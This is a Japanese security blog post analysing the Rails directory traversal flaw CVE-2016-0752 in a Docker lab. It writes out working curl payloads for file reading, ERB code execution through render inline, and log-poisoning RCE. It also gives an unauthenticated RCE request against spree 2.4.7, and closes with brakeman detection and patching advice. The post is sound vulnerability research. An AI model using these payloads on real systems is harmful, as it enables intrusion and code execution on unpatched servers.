はじめに
前回の記事(Ruby on Rails 脆弱性解説 - CVE-2016-2098) で CVE-2016-2098とそのPoC(概念実証)に関する調査結果を公開し、以下のように締めくくりました。
dh-CVE_2016_2098 と CVE-2016-2098 に関して調査を行い、以下の結論に至りました。
- dh-CVE_2016_2098 は CVE-2016-2098 を概念実証できていない
- CVE-2016-2098 の 概念実証は可能(view の render) 今後、追加で判明した事実があればブログの更新で報告したいと思います。
記事中に、dh-CVE_2016_2098 が 4.2.5.1 でブロックされる理由を別記事で書くと告知した通り、次回は CVE-2016-0752 を解析した時の話をしたいと思います。
本稿(前編)では CVE-2016-0752 の調査内容を紹介し、後編では脆弱性が顕在化するメカニズムとRailsの対策内容を解析します。
Dockerで検証環境を作成して実際に確認できる内容にしましたので、是非手を動かして確認してみてください。
CVE-2016-0752 脆弱性とは
前回の情報をおさらいします。
ディレクトリトラバーサルの脆弱性です。
2016/1/26に情報が公開されました。
https://groups.google.com/forum/#!msg/rubyonrails-security/335P1DcLG00/OfB9_LhbFQAJ
公式の発表では Rails の Action View の脆弱性であり、controller の render メソッドにユーザー入力値など外部から指定された値を渡すアプリケーションが影響を受ける可能性がある、とされています。
影響を受けるコードとして、下記のプログラムが例示されています。
def index
render params[:id]
end
controller の render に 外部から指定された id という名前のパラメータ値をそのまま渡す処理になっています。
脆弱性の影響はディレクトリトラバーサルに留まらず、任意のコード実行の可能性が示唆されています。
Carefully crafted requests can cause the above code to render files from unexpected places like outside the application's view directory, and can possibly escalate this to a remote code execution attack.
公式な情報の公開と同日、CVE-2016-0752 によるディレクトリトラバーサルと任意のコード実行の手法が公開されています。
Rails Dynamic Render to RCE (CVE-2016-0752)
ERB(Embedded Ruby)を含むURLでアクセスしたログをログファイルに書き込ませ、ログファイルをレンダリングさせることで任意のコードを実行しています。
CVE-2016-0752 が修正された Rails のバージョンは以下です。
- 5.0.0.beta1.1
- 4.2.5.1
- 4.1.14.1
- 3.2.22.1
CVE-2016-0752 の検証
Dockerで環境構築し、脆弱なアプリケーションを作成して脆弱性が発動するまでの検証を行います。
CVE-2016-0752に該当するバージョンは複数ありますが、今回は4.2.5を使用します。
Dockerで環境を構築する
docker imageを取得します。rubyのバージョン(タグ)2.3.1を使用します。
$ docker pull ruby:2.3.1
docker_CVE-2016-0752 というディレクトリを作り、dockerコンテナにマウントしつつコンテナを起動します。
このディレクトリはホスト側とdockerコンテナの両方で編集できるようにし、作業しやすくします。
dockerコンテナ内からは /app というディレクトリでアクセスできます。
$ mkdir docker_CVE-2016-0752 && cd docker_CVE-2016-0752
$ docker run --name CVE-2016-0752 --hostname docker -v "${PWD}":/app -p 127.0.0.1:3000:3000 -it ruby:2.3.1 /bin/bash
以下のコンソールが表示されたと思います。以降、docker側のコンソールは docker#
または docker$
と表記します。
root@docker:/#
dockerコンテナを非rootユーザー権限で起動している場合、dockerコンテナ内でもユーザーを作成してホスト側と権限を合わせます。(rootユーザーで起動した場合は不要です。)
docker# useradd -s /bin/bash -m -d /app/home user
docker# su user
<2016/11/10 19:30 コマンドを一部訂正>
gem(rubyのライブラリ)が /app/gems にインストールされるように設定しつつ、 rails 4.2.5 をインストールします。
docker$ echo 'export BUNDLE_PATH=/app/bundle' >> $HOME/.bashrc
docker$ echo 'export GEM_HOME="${BUNDLE_PATH}"/gems' >> $HOME/.bashrc
docker$ echo 'export PATH="${GEM_HOME}"/bin:$PATH' >> $HOME/.bashrc
docker$ source $HOME/.bashrc
docker$ cd /app
docker$ echo "gem: --no-document" > $HOME/.gemrc
docker$ gem install rails -v 4.2.5
テストアプリケーションの作成
テストアプリケーションの新規作成から初回起動までです。
docker$ rails new --skip-active-record --skip-test-unit CVE-2016-0752-App
docker$ cd CVE-2016-0752-App
docker$ echo "gem 'execjs'" >> Gemfile
docker$ echo "gem 'therubyracer'" >> Gemfile
docker$ bundle install
docker$ rails s -b 0.0.0.0
ホスト側のブラウザで http://localhost:3000/ へアクセスし、”Welcome aboard”という画面が表示されたら成功です。
アプリケーションはCtrl + C
で停止してください。
概念実証コードの確認
まずはcontrollerを生成します。色々なパターンで確認したくなることが多いので、actionを適当に5つ作ります。
docker$ rails g controller poc render{1..5}
ルーティング情報を確認します。ブラウザなどで/poc/render1
のパスへアクセスすると、poc#render1
(app/controllers/poc_controller.rbのrender1)の処理が実行されると考えてください。
docker$ rake routes
Prefix Verb URI Pattern Controller#Action
poc_render1 GET /poc/render1(.:format) poc#render1
poc_render2 GET /poc/render2(.:format) poc#render2
poc_render3 GET /poc/render3(.:format) poc#render3
poc_render4 GET /poc/render4(.:format) poc#render4
poc_render5 GET /poc/render5(.:format) poc#render5
ホスト側の好きなエディタで app/controllers/poc_controller.rb
を開き、poc#render1
にCVE-2016-0752の脆弱なコードを記述します。
def render1
render params[:template]
end
dockerのrailsを起動し、
docker$ rails s -b 0.0.0.0
ホスト側から curl コマンドで脆弱性が顕在化することを確認します。
formatを指定しない場合、htmlレスポンスが返ってしまうので、txt
を指定して見やすくしています。
アプリケーションの実行ユーザー権限で、任意のファイルの読み出しが可能であることが確認できます。
$ curl 'localhost:3000/poc/render1.txt?template=../../../../etc/hostname'
docker
burpでも確認した様子です。
inlineオプションを使用して任意のコードを実行する
前回のおさらいになりますが、render
メソッドのinlineオプションを使用して任意のコード実行が可能であることを確認します。
$ curl 'localhost:3000/poc/render1.txt?template\[inline\]=<%25%3d`id`%25>'
uid=1000(user) gid=1000(user) groups=1000(user)
inlineオプションを使用せずに任意のコードを実行する
前回の記事では、以下の紹介に留めた内容になります。
公式な情報の公開と同日、CVE-2016-0752 によるディレクトリトラバーサルと任意のコード実行の手法が公開されています。
Rails Dynamic Render to RCE (CVE-2016-0752)
ERB(Embedded Ruby)を含むURLでアクセスしたログをログファイルに書き込ませ、ログファイルをレンダリングさせることで任意のコードを実行しています。
inlineオプションを使用した直接的なコード実行ができないケースでも、railsのレンダリングまたはルーティングに関わる脆弱性がある場合、上記の手法で任意のコードを実行できる可能性があります。
詳細は The Anatomy of a Rails Vulnerability CVE-2014-0130 で、2014年に発見されたRuby on Railsのディレクトリトラバーサル脆弱性 CVE-2014-0130 に対する攻撃手法として公開されています。
(CVE-2014-0130はCVE-2016-0752と違って、アプリケーションの脆弱性ではありません。極めて危険な脆弱性ですので、該当バージョンのRuby on Railsを使用し続けている場合は注意してください。)
それでは、アプリを使って確認していきます。
poc#render2
に template オプションを明示的に指定した脆弱なコードを記述します。
def render2
render template: params[:template]
end
パストラバーサルは有効なままですが、
$ curl 'localhost:3000/poc/render2.txt?template=../../../../etc/hostname'
docker
inlineを使用した任意コード実行は失敗します。
$ curl 'localhost:3000/poc/render2.txt?template\[inline\]=<%25%3d`id`%25>'
ログファイルを利用した任意コード実行のため、ログの内容を実際の環境に近づけて確認します。
まずルートパス(/)用のページを生成し、
docker$ rails g controller welcome index
config/routes.rb
を編集します。
Rails.application.routes.draw do
root :to => 'welcome#index'
# get 'welcome/index'
RAILS_ENV
環境変数をproductionにし、本番用の設定でrailsサーバーを起動します。
docker$ RAILS_ENV=production SECRET_KEY_BASE=$(rake secret) rails s -b 0.0.0.0
ERB(Embedded Ruby)を含むURLでアクセスしたログをログファイルに書き込ませます。
ログファイル(log/production.log)の上から三行目、Parametersの部分に指定したERBが書き込まれたことが確認できます。
$ curl 'localhost:3000/?p=<%25%3d`id`%25>'
$ cat log/production.log
I, [2016-08-01T11:19:48.695954 #26427] INFO -- : Started GET "/?p=%3C%25%3d%60id%60%25%3E" for 172.17.0.1 at 2016-08-01 11:19:48 +0000
I, [2016-08-01T11:19:48.697554 #26427] INFO -- : Processing by WelcomeController#index as */*
I, [2016-08-01T11:19:48.697583 #26427] INFO -- : Parameters: {"p"=>"<%=`id`%>"}
I, [2016-08-01T11:19:48.706188 #26427] INFO -- : Rendered welcome/index.html.erb within layouts/application (0.3ms)
I, [2016-08-01T11:19:48.707048 #26427] INFO -- : Completed 200 OK in 9ms (Views: 4.9ms)
ログファイル(log/production.log)をレンダリングさせます。
レンダリング時のディレクトリ位置は app/views
のようですので、2階層上の相対パスで指定します。
先ほど確認したログファイルのERB部が、id
コマンドの実行結果に置き換わっていることから、任意コード実行に成功したことが確認できます。
$ curl 'localhost:3000/poc/render2.txt?template=../../log/production.log'
I, [2016-08-01T11:19:48.695954 #26427] INFO -- : Started GET "/?p=%3C%25%3d%60id%60%25%3E" for 172.17.0.1 at 2016-08-01 11:19:48 +0000
I, [2016-08-01T11:19:48.697554 #26427] INFO -- : Processing by WelcomeController#index as */*
I, [2016-08-01T11:19:48.697583 #26427] INFO -- : Parameters: {"p"=>"uid=1000(user) gid=1000(user) groups=1000(user)
"}
I, [2016-08-01T11:19:48.706188 #26427] INFO -- : Rendered welcome/index.html.erb within layouts/application (0.3ms)
I, [2016-08-01T11:19:48.707048 #26427] INFO -- : Completed 200 OK in 9ms (Views: 4.9ms)
I, [2016-08-01T11:24:18.122022 #26427] INFO -- : Started GET "/poc/render2.txt?template=../../log/production.log" for 172.17.0.1 at 2016-08-01 11:24:18 +0000
I, [2016-08-01T11:24:18.122919 #26427] INFO -- : Processing by PocController#render2 as TEXT
I, [2016-08-01T11:24:18.122960 #26427] INFO -- : Parameters: {"template"=>"../../log/production.log"}
実在するアプリケーションに脆弱性は存在するか
前回の記事で、以下のようなコメントをいただきました。
入力値をそのままrenderに渡すユースケースがわからないけど覚えておいた / “Ruby on Rails 脆弱性解説 - CVE-2016-2098 - DARK MATTER” https://t.co/O8JIiSjVDu
— 竹内 雄一@タケユー・ウェブ (@takeyuweb) June 9, 2016
実のところ、私もこの脆弱性を知った時は全く同じ感想を抱いたので、Githubで"render params"を含むrbファイル、erbファイルを検索してみました。
全てが脆弱なコードという訳ではありませんが、2016/8/1時点で200万弱のコードがヒットしました。
renderメソッドの各オプションでの検索結果を下表に示します。
動的な表示テンプレートの変更の他、jsonなどフォーマット指定のレスポンスに使用されていることがわかりました。
検索ワード(拡張子rb/erb) | 件数 |
---|---|
render params | 1,906,696 |
render action params | 1,025,997 |
render partial params | 160,921 |
render template params | 231,361 |
render layout params | 212,314 |
render file params | 242,821 |
render text params | 344,846 |
render xml params | 308,553 |
render json params | 827,783 |
render update params | 471,369 ※メソッド名にヒット |
render inline params | 85,279 |
render nothing params | 104,898 |
render status params | 825,353 |
star/commit/contributor数から判断して、ただのサンプルアプリでは無さそうなリポジトリをいくつか取得して実際に脆弱性が顕在化するか確認してみましたが、以下の理由で顕在化しませんでした。
- 脆弱なコードは存在するが、該当箇所には到達しない
- ルーティング(config/routes.rb)でパラメーター値が制限されている
- アプリが起動しない(できない)
ただのサンプルアプリであるように見受けられたものでは顕在化しましたが、サンプル故の不注意か否か判断できませんでした。
検証したサンプル数が少ないですが、renderメソッドへ外部入力値を渡すケースは実際に起こりうるものの、それで脆弱性が顕在化するとは限らないということが言えそうです。
著名アプリケーション/gemの脆弱性を探す
気づかないうちに脆弱なライブラリを使用しているケースもあると考えられます。
Githubでstar数が多くRubyで書かれたプロジェクトを検索し、脆弱なコードが存在しないか探してみました。
結果、Ruby on Railsのeコマースとして人気のspreeで脆弱性が見付かりました。
既に修正済で、
- https://github.com/spree/spree/commit/ec813a8733cc6c332f4e361152e3e757dd5dbbf0#diff-1b48d388f54ae0cd205f20f47ee010c3
- https://github.com/spree/spree/commit/a0cc2752ad5f1ca1d0015b8e8e185104e5830a2a
ブログで周知済だったので、本稿でも取り扱いたいと思います。
- https://spreecommerce.com/blog/security-updates-2015-7-20
- https://spreecommerce.com/blog/security-updates-2015-7-28 (もし、古いバージョンのspreeをお使いの場合はすぐに対策をご検討ください。)
spree 2.4.7を使って確認します。
$ docker run --name spree -p 127.0.0.1:3333:3000 -it --rm ruby:2.3.1 /bin/bash
docker# echo "gem: --no-document" > ~/.gemrc
docker# gem install rails -v 4.1.9
docker# gem install spree -v 2.4.7
docker# rails new my_store
docker# echo "gem 'execjs'" >> my_store/Gemfile
docker# echo "gem 'therubyracer'" >> my_store/Gemfile
docker# spree install -A my_store
docker# cd my_store
docker# rails s
以下のコマンドで、認証無しで脆弱性が顕在化することを確認しました。
$ curl 'localhost:3333/api/states?template\[inline\]=<%25%3d`id`%25>'
uid=0(root) gid=0(root) groups=0(root)
脆弱性を作り込まないためには
自身で開発したアプリケーションに当該脆弱性が存在しないか確認するには、brakemanが有効であると思われます。
今回作成したアプリケーションをbrakemanでスキャンした結果を示します。
+------------+---------------+---------+-----------------------+--------------------------------------------------------------------------------------------------------------------------------------------+
| Confidence | Class | Method | Warning Type | Message |
+------------+---------------+---------+-----------------------+--------------------------------------------------------------------------------------------------------------------------------------------+
| High | PocController | render1 | Remote Code Execution | Passing query parameters to render() is vulnerable in Rails 4.2.5 (CVE-2016-0752) near line 3: render(action => +params[:template]+, {}) |
| High | PocController | render2 | Remote Code Execution | Passing query parameters to render() is vulnerable in Rails 4.2.5 (CVE-2016-0752) near line 7: render(template => +params[:template]+, {}) |
| Medium | | | Denial of Service | Rails 4.2.5 is vulnerable to denial of service via mime type caching (CVE-2016-0751). Upgrade to Rails version 4.2.5.1 near line 84 |
+------------+---------------+---------+-----------------------+--------------------------------------------------------------------------------------------------------------------------------------------+
spreeに関してはspree自身のブログで情報が公開されているもののCVE-IDが振られておらず、ruby-advisory-dbに存在しませんでした。
brakemanも検知しなかったため、一般的な脆弱性情報の収集での予防は難しいのではないかと思われます。
どちらの場合でも、専門家によるセキュリティ診断が有効です。
脆弱性を抱えたまま長期間放置すると危険ですので、定期的な検査を推奨します。
おわりに
本稿(前編)では CVE-2016-0752 の調査を行い、脆弱性の危険性や作り込まれる要因、対策について考えました。
後編では当該脆弱性が顕在化するメカニズムとRailsの対策内容を解析します。
実際にDockerで環境を作って頂いた方へ、後編でも引き続き使用しますのでCtrl+D
または$ exit
でコンテナからexitした後はそのままにしておいて頂けると幸いです。